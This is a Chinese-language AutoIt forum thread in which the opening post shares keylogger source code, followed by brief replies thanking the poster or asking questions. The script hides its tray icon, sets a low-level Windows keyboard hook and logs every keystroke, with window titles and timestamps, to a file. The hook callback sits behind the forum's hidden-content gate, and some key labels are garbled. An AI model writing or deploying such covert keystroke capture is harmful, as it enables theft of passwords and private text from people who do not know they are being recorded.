键盘HOOK学习

fang5072546 · 发表于 2018-6-26 21:20:27

#include <WinAPI.au3>
#include <WindowsConstants.au3>
#NoTrayIcon

Opt('MustDeclareVars', 1)

Global $hHook, $hStub_KeyProc, $buf = "", $title = "", $title_1 = "", $keycode, $buffer = "", $nMsg
Global $file, $f3 = 0
$file = FileOpen("log.txt", 9) ;以追加写入模式创建log.txt文件记录按键

While 1
_Main()
Sleep(250)
WEnd

Func _Main()
Local $hmod
$f3 = 1
$hStub_KeyProc = DllCallbackRegister("_KeyProc", "long", "int;wparam;lparam") ;注册回调函数
$hmod = _WinAPI_GetModuleHandle(0)
$hHook = _WinAPI_SetWindowsHookEx($WH_KEYBOARD_LL, DllCallbackGetPtr($hStub_KeyProc), $hmod)  ;键盘HOOK
While 1
Sleep(10) ;防止CPU占用过高
WEnd
EndFunc

Func EvaluateKey($keycode)
$title = WinGetTitle("")          ;获取当前窗口标题
$buffer = key($keycode)
If $title_1 <> $title Then    ;差异对比,如果标题不一样
$title_1 = $title          ;
FileWrite($file, @CRLF & @CRLF & "====窗口标题:" & $title_1 & "====时间:" & @YEAR & "." & @MON & "." & @MDAY & "--" & @HOUR & ":" & @MIN & ":" & @SEC & @CRLF)
FileWrite($file, $buffer) ;写入新标题,按键记录
Else
FileWrite($file, $buffer) ;标题一样,就是同一个窗口咯,直接追加写键盘按键就可以
EndIf
EndFunc

Func key($keycode2)    ;按键转码,完整的参考https://docs.microsoft.com/zh-cn ... v/virtual-key-codes
If $keycode2 = 8 Then
$buf = "{backspace}"
EndIf
If $keycode2 = 9 Then
$buf = "{TAB}"
EndIf
If $keycode2 = 13 Then
$buf = "{ENTER}"
EndIf
If $keycode2 = 19 Then
$buf = "{PAUSE}"
EndIf
If $keycode2 = 20 Then
$buf = "{CAPSLOCK }"
EndIf
If $keycode2 = 27 Then
$buf = "{ESC}"
EndIf
If $keycode2 = 32 Then
$buf = "{SPACE}"
EndIf
If $keycode2 = 33 Then
$buf = "{PAGEUP}"
EndIf
If $keycode2 = 34 Then
$buf = "{PAGEDOWN}"
EndIf
If $keycode2 = 35 Then
$buf = "{END}"
EndIf
If $keycode2 = 36 Then
$buf = "{HOME}"
EndIf
If $keycode2 = 37 Then
$buf = "{¡û}"
EndIf
If $keycode2 = 38 Then
$buf = "{¡ü}"
EndIf
If $keycode2 = 39 Then
$buf = "{¡ú}"
EndIf
If $keycode2 = 40 Then
$buf = "{¡y}"
EndIf
If $keycode2 = 42 Then
$buf = "{PRINT}"
EndIf
If $keycode2 = 44 Then
$buf = "{PRINT SCREEN}"
EndIf
If $keycode2 = 45 Then
$buf = "{INS}"
EndIf
If $keycode2 = 46 Then
$buf = "{DEL}"
EndIf
If $keycode2 = 48 Or $keycode2 = 96 Then
$buf = 0
EndIf
If $keycode2 = 49 Or $keycode2 = 97 Then
$buf = 1
EndIf
If $keycode2 = 50 Or $keycode2 = 98 Then
$buf = 2
EndIf
If $keycode2 = 51 Or $keycode2 = 99 Then
$buf = 3
EndIf
If $keycode2 = 52 Or $keycode2 = 100 Then
$buf = 4
EndIf
If $keycode2 = 53 Or $keycode2 = 101 Then
$buf = 5
EndIf
If $keycode2 = 54 Or $keycode2 = 102 Then
$buf = 6
EndIf
If $keycode2 = 55 Or $keycode2 = 103 Then
$buf = 7
EndIf
If $keycode2 = 56 Or $keycode2 = 104 Then
$buf = 8
EndIf
If $keycode2 = 57 Or $keycode2 = 105 Then
$buf = 9
EndIf
If $keycode2 = 65 Then
$buf = "a"
EndIf
If $keycode2 = 66 Then
$buf = "b"
EndIf
If $keycode2 = 67 Then
$buf = "c"
EndIf
If $keycode2 = 68 Then
$buf = "d"
EndIf
If $keycode2 = 69 Then
$buf = "e"
EndIf
If $keycode2 = 70 Then
$buf = "f"
EndIf
If $keycode2 = 71 Then
$buf = "g"
EndIf
If $keycode2 = 72 Then
$buf = "h"
EndIf
If $keycode2 = 73 Then
$buf = "i"
EndIf
If $keycode2 = 74 Then
$buf = "j"
EndIf
If $keycode2 = 75 Then
$buf = "k"
EndIf
If $keycode2 = 76 Then
$buf = "l"
EndIf
If $keycode2 = 77 Then
$buf = "m"
EndIf
If $keycode2 = 78 Then
$buf = "n"
EndIf
If $keycode2 = 79 Then
$buf = "o"
EndIf
If $keycode2 = 80 Then
$buf = "p"
EndIf
If $keycode2 = 81 Then
$buf = "q"
EndIf
If $keycode2 = 82 Then
$buf = "r"
EndIf
If $keycode2 = 83 Then
$buf = "s"
EndIf
If $keycode2 = 84 Then
$buf = "t"
EndIf
If $keycode2 = 85 Then
$buf = "u"
EndIf
If $keycode2 = 86 Then
$buf = "v"
EndIf
If $keycode2 = 87 Then
$buf = "w"
EndIf
If $keycode2 = 88 Then
$buf = "x"
EndIf
If $keycode2 = 89 Then
$buf = "y"
EndIf
If $keycode2 = 90 Then
$buf = "z"
EndIf
If $keycode2 = 91 Or $keycode2 = 92 Then
$buf = "{Windows}"
EndIf
If $keycode2 = 106 Then
$buf = "*"
EndIf
If $keycode2 = 107 Then
$buf = "+"
EndIf
If $keycode2 = 109 Or $keycode2 = 189 Then
$buf = "-"
EndIf
If $keycode2 = 110 Or $keycode2 = 190 Then
$buf = "."
EndIf
If $keycode2 = 111 Or $keycode2 = 191 Then
$buf = "/"
EndIf
If $keycode2 = 112 Then
$buf = "{F1}"
EndIf
If $keycode2 = 113 Then
$buf = "{F2}"
EndIf
If $keycode2 = 114 Then
$buf = "{F3}"
EndIf
If $keycode2 = 115 Then
$buf = "{F4}"
EndIf
If $keycode2 = 116 Then
$buf = "{F5}"
EndIf
If $keycode2 = 117 Then
$buf = "{F6}"
EndIf
If $keycode2 = 118 Then
$buf = "{F7}"
EndIf
If $keycode2 = 119 Then
$buf = "{F8}"
EndIf
If $keycode2 = 120 Then
$buf = "{F9}"
EndIf
If $keycode2 = 121 Then
$buf = "{F10}"
EndIf
If $keycode2 = 122 Then
$buf = "{F11}"
EndIf
If $keycode2 = 123 Then
$buf = "{F12}"
EndIf
If $keycode2 = 124 Then
$buf = "{F13}"
EndIf
If $keycode2 = 125 Then
$buf = "{F14}"
EndIf
If $keycode2 = 126 Then
$buf = "{F15}"
EndIf
If $keycode2 = 127 Then
$buf = "{F16}"
EndIf
If $keycode2 = 144 Then
$buf = "{NUMLOCK}"
EndIf
If $keycode2 = 145 Then
$buf = "{SCROLLLOCK}"
EndIf
If $keycode2 = 160 Or $keycode2 = 161 Then
$buf = "{Shift}"
EndIf
If $keycode2 = 162 Or $keycode2 = 163 Then
$buf = "{Ctrl}"
EndIf
If $keycode2 = 164 Then
$buf = "{Alt}"
EndIf
If $keycode2 = 186 Then
$buf = ";"
EndIf
If $keycode2 = 187 Then
$buf = "="
EndIf
If $keycode2 = 188 Then
$buf = ","
EndIf
If $keycode2 = 192 Then
$buf = "`"
EndIf
If $keycode2 = 219 Then
$buf = "["
EndIf
If $keycode2 = 220 Then
$buf = ""
EndIf
If $keycode2 = 221 Then
$buf = "]"
EndIf
Return $buf ;返回转换后的按键码
EndFunc

游客，如果您要查看本帖隐藏内容请回复

cashiba · 发表于 2018-6-26 21:36:52

路过，学习一下，虽然目前还暂时用不到.....

449199199 · 发表于 2018-6-26 23:29:25

怎么这么长的代码。。。。

xz00311 · 发表于 2018-6-28 11:29:29

本帖最后由 xz00311 于 2018-6-28 11:36 编辑

学习者代码，不知道哪位大神可以写一些例子来给小白学习一下呢

zachacker · 发表于 2018-7-31 01:22:25

路過覺得很猛學習一下

imlord · 发表于 2018-8-2 00:11:53

查看本帖隐藏内容

gdzjyj · 发表于 2018-8-8 23:32:34

小白看贴-一头雾水....学习了

weineng · 发表于 2018-8-9 10:29:07

查看本帖隐藏内容

zghwelcome · 发表于 2018-8-18 09:26:18

谢谢分享，学习了

7890qwaszx · 发表于 2019-2-12 14:14:40

路过学习一下

laomeng · 发表于 2019-3-11 13:07:40

看下有用

gzh888666 · 发表于 2019-3-12 15:03:37

突破一下hook

yhxhappy · 发表于 2019-5-27 13:08:02

看下隐藏内容

yhxhappy · 发表于 2019-5-27 17:00:16

我想写了下测试键盘的工具，发现右ALT键无法识别，有什么办法吗？

左手2018 · 发表于 2019-5-27 21:23:31

键盘hook最为致命! 一定要收藏

		自动登录	找回密码
密码			加入

[转贴] 键盘HOOK学习